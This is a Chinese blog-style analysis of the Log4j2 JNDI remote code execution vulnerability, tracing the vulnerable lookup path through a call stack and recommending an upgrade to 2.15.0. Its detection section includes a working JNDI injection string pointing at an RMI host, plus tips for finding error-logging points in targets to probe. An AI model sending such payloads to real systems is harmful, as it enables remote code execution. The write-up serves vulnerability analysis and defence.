Log4j2-JNDI远程命令执行漏洞分析以及修复
Log4j2-JNDI远程命令执行漏洞分析以及防御
0x01前言:
Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了重大改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。
常见应用中它主要是用于记录系统中的操作记录。比如报错记录,又或者是访问记录,登录记录等等等。应用及其广泛,昨日下午就在群里见有人说这个问题。猜对了一半,log4j的主要作用只是用来做记录日志等操作,要做到CSV评分10.那么只能说明在存储记录过程中的内容可控会导致反序列化?或者其它可控字符造成的危害。在三梦师傅的提醒下自己也是提前根据官方文档复现出来了。
后续也有公众号发布对应的POC(SMDX
)。
其危害似乎超过了近两年的热门漏洞shiro,甚至可以说是shiro的倍数。
在阿里云发布的公告中可以知晓。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等热门框架均使用了此依赖。只需要寻找触发点即可。该漏洞不仅仅局限于Web
.
不过根据官网文档来看,该问题似乎是一个正常的功能,只不过是默认开启的状态?(一个写日志的整这么花哨干嘛
)
参考资料:
https://mp.weixin.qq.com/s/9f1cUsc1FPIhKkl1Xe1Qvw
https://logging.apache.org/log4j/2.x/manual/lookups.html
0x01-2影响版本:
Apache Log4j 2.x <= 2.14.1
0x02:漏洞分析
示例代码:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {
private static Logger LOGGER = LogManager.getLogger(main.class);
public static void main(String[] args) {
LOGGER.error("PAYLOAD");
}
}
运行效果:
先来看看官方文档对Lookups的说明:
Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. Information on how to use Lookups in configuration files can be found in the Property Substitution section of the Configuration page.
要想使用Lookups功能,必须实现StrLookup
接口。官方文档中也说明了自带的几种查找使用方式。
Context Map Lookup
Date Lookup
Docker Lookup
Environment Lookup
EventLookup
Java Lookup
Jndi Lookup
JVM Input Arguments Lookup (JMX)
Kubernetes Lookup
Log4j Configuration Location Lookup
Lower Lookup
Main Arguments Lookup (Application)
Map Lookup
Marker Lookup
Spring Boot Lookup
Structured Data Lookup
System Properties Lookup
Upper Lookup
Web Lookup
漏洞调用堆栈信息:
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:8, main
在org.apache.logging.log4j.core.pattern.format
方法中。
会对传入进来的内容进行判断。
当config
不等于null
且noLookups
为false
时(默认为false,由于使用!,满足条件).对workingBuilder
的内容进行循环判断:
判断当前字符是否为$
且长度+1的字符为{
: (${)时。使用substring
进行截取。
然后使用StrSubstitutor
类的replace
方法进行替换,这也是漏洞的sink
点.replace
方法中,如果source
的内容不为空,也就是截取后的内容不为空时,进入substitute
方法.
substitute
方法中会进行一些简单的字符查找对应函数。后进入resolveVariable
方法:
此时的getVariableResolver
返回的是Interpolator
对象,后续也会调用此类的lookup
方法。
对字符进行判断查找,如果var
变量中存在char字符(58)(对应字符:
)。对其截取,进入if判断。
截取内主要是截取:
符号前面的内容
后从strLookupMap
Map中查找此字符对应的实现类。
strLookupMap
在初始化中就已经赋值了部分内容。
此时的jndi
字符对应类JndiLookup
。当返回对象不属于ConfigurationAware
类,且不为空时,调用其属性的lookup
方法。
JndiLookup
类的Lookup
方法中又创建了一个JndiManager
对象。然后将变量key
传入JndiManager
的lookup
方法中。
而JndiManager
在创建对象时,对context
的赋值为InitialContext
。
最后再将内容传递给InitialContext.lookup
方法。从而导致造成JNDI注入。
此漏洞在官方文档中其实算是一个正常功能。
0x03:漏洞探测
由于此依赖在使用场景中,大多数都只是用来记录日志等功能。除error
外,其他方法(info
)默认不能触发,需要调level
优先级.因此,在日常探测中,可以尝试找一些容易存在记录报错的点,如某字符引发后端类型转换报错:"后端会对此进行记录并将报错内容带入"
OFF 为最高等级 关闭了日志信息
FATAL 为可能导致应用中止的严重事件错误
ERROR 为严重错误 主要是程序的错误
WARN 为一般警告,比如session丢失
INFO 为一般要显示的信息,比如登录登出
DEBUG 为程序的调试信息
TRACE 为比DEBUG更细粒度的事件信息
ALL 为最低等级,将打开所有级别的日志
示例代码:
public static void main(String[] args) throws FileNotFoundException {
Logger LOGGER = LogManager.getLogger();
//默认的方法
System.out.println("当前优先级"+LOGGER.getLevel());
//默认的优先级
LoggerContext ctx = (LoggerContext) LogManager.getContext(false);
Configuration config = ctx.getConfiguration();
LoggerConfig loggerConfig=config.getLoggerConfig(LOGGER.getName());
loggerConfig.setLevel(Level.INFO);
//调整优先级为INFO
Logger LOGGER2 = LogManager.getLogger(ctx);
System.out.println("当前优先级:"+LOGGER2.getLevel());
LOGGER2.info("${jndi:rmi://127.0.0.1:1099/bql6qs}");
}
0x04修复方案:
升级log4j2版本,2.15.0已完全修复。
网上所流传的rc1存在绕过实际是对lookup的绕过,而rc1及以上版本,已默认将noLookups
设置为Ture
.也就是说默认不开启lookups功能.除非开发脑残又手动开启了。
截至目前,通过maven所拉取的2.15.0版本其实就是rc2的源代码。
感谢大佬分享,我小白看着都很清晰明了